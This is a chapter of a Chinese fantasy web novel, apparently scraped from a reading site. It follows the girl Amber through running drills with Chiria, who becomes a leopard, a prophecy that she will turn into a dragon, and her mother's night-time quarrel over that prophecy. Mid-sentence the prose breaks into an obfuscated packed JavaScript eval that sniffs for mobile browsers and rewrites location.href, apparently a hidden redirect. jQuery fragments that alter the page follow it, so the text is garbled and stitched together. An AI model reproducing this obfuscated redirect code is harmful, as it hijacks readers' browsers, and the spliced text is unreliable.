135.奔为兽之牙

作品:《龙心:血圣女

    不久后——没有久到天上的太阳变换温度或者士兵们口中的‘外出’发生,甚至,她那不常出现的‘叔叔’还留在达弥斯提弗时,她们决定她已做好了准备,可以开始下一项训练。


    “想不想外出,安铂殿下?”


    她的那身蓝色的上衣终于摔坏了,仙女们令她脱下上衣,赤裸站在室内,而她们开始缝补上面的孔洞。三个仙女,只有一个会针织活动,同时不甚熟练,自第一针开始就显露出会将她那衣服变得颜色错落而颇显歪斜,可惜在场人无一有能力评价。安铂,当然不知针线的规律,只裸着瘦见肋骨而上窄下宽的上身,自行走至衣柜,企图从内拿衣服。她的语法课有长足进步的同时,细心一点的观察者可能会发现她在所有生活事物中都多了几分主动性,所以,也许是的,语言对人类生活有着不明显却也不可或缺的指导作用,当此脉通畅,她多少减少了些沉默和麻木;对她自己来说,尽管她有意识到随着她话语的熟练增加,生活中会增加磕碰的机会少了些,但整体来说,她主动行事的理由是淳朴的:当她发现她的腿脚开始胜任种种活动后,她希望能自己做平日妈妈需要帮她做的事,譬如,拿衣服。


    遗憾这衣柜的木门显出比想象中更难推拉的沉重。她将两只手扣在上面,用力,门开了,她不及稳足,摔倒在地。


    衣服倒落,像雪崩,砸在安铂头上。她抬起头,在纷飞的衣物中,看见那最后一件,沉重,深黑,像只巨大的鸟,携着夜,向她落来。


    她的眼微微睁大。


    黑色。


    “……额……啊,俺……我也不知道这姑娘为什么到了花园里,夫人……噢,不。”这声音嘟哝道,从花丛中,安铂看不见说话人的脸,只能看见他粗重的下颔和草帽如同太阳的边缘,见他局促不安,压着草帽的动作。


    “……殿下。”他低声道:“对不住,我总是忘记这些称呼。”


    噢。没事,没事。


    妈妈的手离开了她,同样,在身前绞在一起。也许妈妈自己都没发现,安铂却能看见,她的手指上冒着汗珠,身体不由自主地,颤抖,像被这酷热融化了,但却,安铂感到,并不痛苦。


    (不像那只被她埋在花园中的鸟儿一样。她隔了几天,偷偷去找它时,它融化了了。


    痛苦地。)


    妈妈的脸带着微笑;就安铂来看,她现在很少这么笑。她很少这样颤抖嘴唇,眼带亮光。妈妈和这个人对话,但她们其实没有交流很多,因为彼此都嘴唇打颤;她们面对着,但眼睛都不看彼此,因为这热气似乎太强烈了,她们必须错开视线。


    “所以,事情就是,您女儿跑到了边缘的花田里,”他咳嗽了一下,记起他不愿回忆的往事,因为,据说——他就是在那儿袭击过她:“然后一队上山采蘑菇和药草的孩子见着了她,在山丘上,对她大呼小叫,还对她扔死青蛙,很恶劣。您……”


    他为难地朝下望,安铂抬头,就能看见他那张丑脸了。他确实不好看。


    但也没有很丑。


    (不像那些融化的鸟儿。)


    您还是看着这孩子些?他嘟哝道。妈妈连连朝着他道谢。他连连拒绝妈妈,说,不用,不用。


    “您真的帮了这孩子很多回了,谢谢您。”妈妈重新牵起安铂的手。风吹起她的头发,同金花的花瓣一起,安铂抬头,见那男人,许久没合上嘴唇。缓慢,而后迅速地,安铂见他抬手,捂住了嘴,别过脸。


    “应该的,殿下。”这男人道。妈妈微笑,汗水沾在唇边,安铂见着,感她像一个更温和的太阳般,发着光。


    “——我想请教您的名字。”妈妈柔声说:“我不想一直叫您,那个别人给您取的,侮辱性的称呼……”


    她问:你叫什么名字?


    那男人颤抖起来。他的手握着拳,奇怪,周围,分明没有任何声音,瞬间,安铂的眼睁大,好像看见他的嘴唇间长出了那黑色的花,喷涌那细密,黑暗的风。


    “您怎么了?”妈妈忧心道。她上前一步,对着他:“……您中暑了么?”


    他后退一步,闭上唇,额上青筋暴出。


    “俺没有名字。”他对妈妈说:“我就叫阿丑,殿下。”


    衣物将安铂埋起来,由于时处夏季,这些轻薄的棉麻和丝绸至多只像些松软的雪(她自己无法做这种联想,因她尚没见过雪),而只有这最后一件衣服,如此沉重,如此致密,超乎想象,彻底将她埋了下去。她感到她宛盖着一件比她长三倍,重三倍的小溪,只是它完全是黑色的,跟往常森林的黑色不同。众仙女见此意外发生,纷纷来将她救援。两个仙女搬开那溪水,一个将她从底下取出。仙女确有神力,她漂浮起来,看那溪水被两个仙女捧在手中,其上,丝线泛光,一只她在这森林中从未见过的动物,对着她。


    安铂,恢复了她在面对未知事物时一贯的沉静,不眨眼,问仙女们:


    “这是什么动物?”


    众仙女互相望着。


    沉默,仿此乃秘密。安铂落下目光,看那溪流般的长衣。漆黑无暇,唯上穿梭的金线,隐约却深沉地,让那动物的轮廓出现,仿从云雾中浮现般。


    她的心跳动,在这时间里,微妙地,稍快了些。


    “今天你仍在这跑步,安铂殿下,但有些变化。”奇瑞亚又将她带至那草坪中,使她站在烈日下。她带着她,缓慢而笨拙地做了热身,奇瑞亚做得流畅自然,安铂的动作,仿使这一连串简单组合便问绚烂艰难的杂技,而她残破的木身体,已被这要求熟练的表演团队所淘汰。


    奇瑞亚使她半蹲,她往往无法维持五秒便踉跄倾斜,或前,或后,或左或右。奇瑞亚将她从草丛中提起多次,重新使她站立,尽管最初她进步甚微,只有汗水不断从鼻梁上滑落。安铂,她不擅出汗;她平日的体温通常是比常人要低上一些的,只要面上有了层汗,不过多久,她就会像个装满水的不倒翁一样,在地上摇晃了。


    “不要倒下,不要放弃,安铂殿下。”奇瑞亚的声音在她顶上响起。她的动作像大猫,柔顺,耐心,细致。她的手击至任何安铂将倒下的方向,而那阵赋予过安铂能量和精力的暖流,这时又再次从奇瑞亚手腕传来;她的声音一遍遍说着:坚持,站稳,而安铂,在她的声音中,汗如雨下,真的站得越来越稳了。


    (融化。)


    奇瑞亚抬起头,看太阳移动过后的痕迹,风在远处的田野中吹开绿浪,阳光为其涂抹一层焦灼的橙光,天空中飞过三两白鸟,她眯着眼,追随这些标志时序变化物象微妙的痕迹。万事都在不断变化中,生化新旧;她朝南方看去,望那远处城市和群山的痕迹,目光深沉;她低头看这个孩子,神色慈爱。


    她伸出深埋她无从隐藏岁月痕迹的手,放在安铂肩上,给予她压力和支撑。


    安铂看着前方,汗水滑落她眼前。所有事物都融化,朦胧了。


    “很好,安铂殿下。”奇瑞亚说:“我们可以开始新训练了。您仍然跑,区别是,当你快跑至那树时,我会开始追您。”


    她抬起手:“您不能被我追到了。”她放下手,轻轻一拍,是为信号。


    安铂跑出去,心狂跳,肺像烧,腿脚酸痛。之前奔跑时,她并没有像现在这么累,因此她再次摔倒在地,然后重重地用手挣扎,起身,没有停顿,只有艰难。奇瑞亚在后面看着她。


    她离那树越来越近了,天空又在等她。这时安铂最喜欢的时刻。她感到风的吹拂;她听见树叶的声音,背后,奇瑞亚拍了拍手。


    奇怪,安铂,往往心无旁骛,此时竟往后看了一眼。在她自己的身体感觉来,她已经跑得很快了;快得像要将这身体扯断般,但在天的眼中,世界的地面上,她实际只像在踉跄地跳步走而已,所以她回头看的这个动作,其实没有很艰难。


    森林中出现了一只豹子。


    安铂眨了眨眼。她看见奇瑞亚弓身,俯得很低。她听见她的声音。


    “您不能被任何事物追上,安铂殿下。”那嘴唇低低说道。


    草皮飞动,留下尘土。猎豹起跑。


    安铂回过头。


    “这是——”


    “这不是动物——”


    “安铂殿下!”


    仙女们声音交替地争论着,最终彼此相望,沉默片刻,最终异口同声,对她道:


    “——这是龙!”


    她坐在衣物的山中,面前,那件黑袍上,龙看着她。安铂看向龙,那龙的神情比她更鲜活,她们看上去真的在彼此注视。她眨了眨眼,然后她问,什么是龙。


    一种巨大,有羽翼的动物;形状尖锐,速度极快,力量无边。仙女们用山,海和天空的比喻来让她有概念,但她无法对此产生什么实际的印象,尤其是,她们的最后一句话:


    龙最与众不同的,不是它的力量,或速度,当然不是它的羽翼——而是它的心,安铂殿下!


    所有的龙都是由人变成的……


    安铂被掀倒在地,因那只尖锐利爪的轻轻一碰。她迎面倒下,在地上滚动了一周,额头磕在地上,嘴中尝到夏草,那件先前被缝补好的衬衣再次被扯开。她的世界倒转,血流在身内翻动,而,龙,就在她眼前。她倒立,摔得没了正反上下之分,看见奇瑞亚在她眼前,向她扑来。龙——巨大,速度极快,像在飞得野兽,出现在她面前,她刹那明白,何为由人所变。


    “失败,安铂殿下。”奇瑞亚说,用手将她按在草地上,压着安铂轻轻欺负的小胸脯。那心脏平凡,脆弱而猛烈地跳动着。奇瑞亚面带微笑,十分怜惜。


    “失败。”安铂重复,奇瑞亚点头,她将安铂拉起来,草和土从安铂身上掉落。她的额头撞到了石头,出现了一个鲜红的口子。


    “怕不怕?”奇瑞亚问。安铂看着她,没有说话。她不知道这是什么意思。奇瑞亚笑笑,蹲下来,摸着她的心口,问:“这儿跳得快不快,殿下?”安铂点头。奇瑞亚又问:“热不热?”安铂点头。她握住安铂不停打颤,同样有伤痕的腿,道:


    “这就是害怕。”她教安铂。安铂思索片刻,点了头。


    “知不知道你为什么会害怕,安铂殿下?”奇瑞亚又问,安铂思索,摇头。


    她没有立即回答她。她的面上失去了笑容,而眼深邃,像在往前,往很久以前看,看着安铂;她又像在往之后,很久之后,某种注定而朦胧的安排中看,看安铂。这孩子脸上有什么呢?她长得像谁?


    她看这孩子空洞而狼狈地望着她,卷发泛着蓝黑色的波浪。她抬起手,帮孩子理了理衣领,然后握着她的双肩,对她开口:


    “因为我们在动物的生活中学会跑步,殿下。”她解释:“如果您过的是人的生活,您是否会跑步,没有那么重要,但如果,您过的是动物的生活,您不仅要会跑步,还要跑得快,跑得好,因为动物比拼速度。牙齿只是动物的餐具,奔跑,才是动物真正的牙。”


    她对她说:“谁跑得快,谁就能用餐,谁就能活下来。我们虽然是人,但要过一种动物和人交错的生活,所以,您必须学会如何跑步。”


    她耐心地解释着。“您明白了吗?”她问安铂。


    阳光从她们头顶消失,在阴影中,安铂的眼坠为一种海般深邃的蓝色,几可使人出神,像那反射这心中最深的念想。孩子低下头,额上的血滴落。她的身体仍在颤抖;肉身的本能束缚她,死亡的恐惧胁迫她。


    但她的头脑游离着。千真万确——她微弱地思索道,仿佛在漂浮——她是被身体束缚着,即便她抬头,也不能向上,但她的思绪在漫无边际地游荡,或是这般原因,她逐渐体味到了几分思索的乐趣,不为了答案,不为了解题,只为了那灵魂出窍的片刻自由。她想到那词语:死亡。她想到那些有声音,令她茅塞顿开的花。她想到鸟儿张开的嘴和狗儿的声音。她看见它们的融化。她思考着,但没有结果,没有答案,只有徘徊,让众众物象交错,融汇成死亡的万象


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566054|149957||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ——使这句话:我们过一种动物的生活,更深刻,更明晰而不乏绚丽的色彩。我们生活在死和生的交替中,而她企图教会她,如何在其中跳跃。


    她抬起头。


    “安铂殿下?”奇瑞亚呼唤她,对着她空洞的蓝眼。


    “——那我也可以变成动物吗,奇瑞亚女士?”安铂问。她握着那破洞的衬衣,询问此事,仿佛这是她在先前语言的网中寻到唯一有兴趣的方向。奇瑞亚笑了。夏风吹过,她压住自己的披肩发,望这孩子。


    “你想变成什么动物,殿下?”她问。孩子沉默,抬头看天。


    “鸟。”安铂回答。她难得流露出一二感情向往,看着空中鸟羽的形状,唯被奇瑞亚的笑声所掩埋。


    一双手落在她头上,奇瑞亚的触碰令她无法看到任何声音,只有那奔腾的热量和她虚脱,发痛的身体对抗着,在生命的长夏时,不断磨练着她的耐力。


    “你不只能变成鸟,我的殿下,”她听她低声笑道:“——您注定会生出翅膀,翱翔天国,安伯莱丽雅殿下。”


    她松开手,安铂顺光抬头,见奇瑞亚深沉而幽暗的微笑,带着命定的飘渺,岁月的苦涩和些许,或许应成为人之轻微的感慨。


    “我们的血圣女,”她说:“您有朝一日,一定会化身为龙。”


    第一次追踪训练,安铂从没成功过,有一次接近成功,却直直撞到了树上,将额头弄出个醒目的肿包。她回到房间,像前些日般脱下身上的外衣,递给仙女们,却见她们盯她的脸,末了,长久叹气。安铂,不知恐惧对人体遽烈的精力消耗,却也身体力行地感到身内不同寻常的疲倦。她仍试图在桌前复习先前的词句,却发现自己摇摇欲坠,无法支撑头部,躺卧桌上,不久坠入沉睡,只昏昏沉沉中感仙女在她背后穿行叹息:


    “又要对付她母亲咯!”


    仙女们将她抱起来,翩然似舞,将她放至床上。她们的手似轻轻碰她的伤口,声音感慨:


    “不清醒的女人是难对付的……”


    安铂陷入沉睡;梦中,她仍感她在草坪上,被奇瑞亚扑倒在地,像只没有翅膀的鸟。


    “想出去吗,安铂殿下?”


    奇瑞亚问。她说:听妈妈的。


    她笑了,残酷而轻蔑地。


    “——不管您说什么,奇瑞亚女士,不管您有什么理由,为了城市的未来还是为了任何事,未雨绸缪——”她醒来时,听见这阵尖锐而颤抖的声音,意欲平静,却越发激动,泪水酝酿:“您不能这么对这孩子——”


    她睁开眼,但没从床上起身,只远远,看着窗外,被月色拉长的人影,随夜树的动作而颤抖,交错,推搡着。树林中的木叶流淌出血液,彼此动摇。她可以认出影的主人,修长而鲜明地将她们的特征映在如水的地面上。


    那影的主人回过头,声音颤抖:


    “——对这孩子……”


    泪水滚落。她似欲将此事说得更加客观,公正些,像:她们不能这样对任何一个孩子,但那场面,当她进入房间,看见孩子满面伤痕,疲倦而仓惶地蜷缩在床上,她头脑中似有琴弦绷断,心音流淌:


    “——不能这么对我的孩子——!”


    这修长而柔软的柳条伸出手,碰到另一株高大而挺拔的树,空中响起‘啪’的响声,有人叫:“奇瑞亚女士!”


    ‘叔叔’,她想。


    “——这孩子是您所生,”女人平静,稳定道:“但她不属于您,厄德里俄斯殿下。”


    “奇瑞亚女士,您在说什么?”‘叔叔’压低声音,仍然,声音在夜间德庭园中回响:“您怎么能这么对一个母亲说话?”


    柳林颤抖,细长的树叶坠落,安铂想起身,但她做不到。她看见漫天的柳叶,染着月光的颜色,随身颤坠落。


    “您不能这么对我的孩子……您不能这么对我的孩子……”她喃喃道,终于,恐做了——她有生以来都最剧烈,最不加克制的举动,用力扯开了自己的手臂,尖锐道:“我不能让您为了那个没有依据的预言残害我的孩子,奇瑞亚大校,你会受军部的惩罚……这孩子,她会到孛林去,跟她叔叔一起生活……她不会受你们这残酷野心的摆布……!”


    树挺拔而骄傲地站着,不动不声。


    “厄文,你累了。”‘叔叔’低声说:“别激动,先睡一觉……”


    “您更通情达理些,克伦索恩殿下。”奇瑞亚暗示道:“您知道我不得不这么做。”


    ‘叔叔’沉默许久。


    “我们做力所能及内不违反道理的。”他最终模棱两可地说道:“走吧,厄文……”


    “哥哥,不能再让这个预言传播了——她们在折磨安铂,这有什么用?那个预言,若它有半分可能是真的,怎么可能在我的安铂身上奏效?”


    她悲凉,痛苦地哭泣道;安铂,不知为何,身体颤抖:


    “她连拒绝都不会啊,哥哥。她们就是这么折磨一个脆弱孩子的,连在她自己的家中,都没有半分安宁。带她去孛林吧,哥哥……”


    “噢,厄文,厄文。”‘叔叔’道,声音颤抖,两个人影拥抱,彼此孤寂地依偎。


    “克伦索恩殿下。”奇瑞亚低声道,她没有受任何影响,像把她面前哭泣的女人当作一个不值一提的插曲。


    “不是现在,奇瑞亚女士。”‘叔叔’痛苦道。


    “那预言……”


    声音低低说。妈妈发出尖叫:“我不想再听见关于这预言——这‘天命之王’的任何声音,奇瑞亚女士!”


    花园寂静了片刻;树影凝固着,安铂捂住耳,那雷声,却仍穿过墙体,顺风而来:


    “这由不得您,厄德里俄斯殿下!”


    妈妈哭着。树林摇晃。


    “选择预言,或选择你的灭亡——你没有第三个选项!”


    声音说。树变成动物,再森林中大步离去。安铂蜷缩身体,门廊处,妈妈靠着‘叔叔’,低声啜泣。